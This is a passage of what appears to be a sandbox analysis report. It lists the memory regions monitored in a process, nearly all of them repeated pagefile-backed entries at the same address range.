"" Region: id = 13957 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13958 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13959 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13960 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13961 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 13962 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 13963 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13964 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13965 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13966 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13967 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13968 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13969 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13970 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13971 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13972 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13973 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13974 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13975 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13976 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13977 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13978 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13979 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13980 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13981 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13982 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13983 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13984 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13985 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13986 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13987 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13988 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13989 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13990 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13991 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13992 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13993 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13994 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13995 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13996 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13997 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13998 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 13999 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14000 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14001 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14002 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14003 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14004 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14005 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14006 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14007 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14008 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14009 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14010 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14011 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14012 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14013 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14014 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14015 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14016 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14017 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14018 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14019 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14020 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14021 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14022 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14023 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14024 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14025 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14026 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14027 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14028 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14029 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14030 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14031 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14032 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14033 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14034 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14035 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14036 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14037 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14038 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14039 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14040 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14041 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14042 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14043 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14044 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14045 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14046 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14047 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14048 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14049 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14050 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14051 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14052 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14053 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14054 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14055 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14056 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14057 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14058 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14059 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14060 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14061 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14062 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14063 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14064 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14065 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14066 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14067 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14068 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14069 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14070 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14071 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14072 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14073 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14074 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14075 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 14076 start_va = 0x2270000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 14077 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14078 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14079 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14080 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14081 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14082 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14083 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14084 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14085 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14086 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14087 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14088 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14089 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14090 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14091 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14092 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14093 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14094 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14095 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14096 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14097 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14098 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14099 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14100 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14101 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14102 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14103 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14104 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14105 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14106 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14107 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14108 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14109 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14110 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14111 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14112 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14113 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14114 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14115 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14116 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14117 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14118 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14119 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14120 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14121 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14122 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14123 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14124 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14125 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14126 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14127 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14128 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14129 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14130 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14131 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14132 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14133 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14134 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14135 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14136 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14137 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14138 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14139 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14140 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14141 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14142 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14143 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 14144 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = 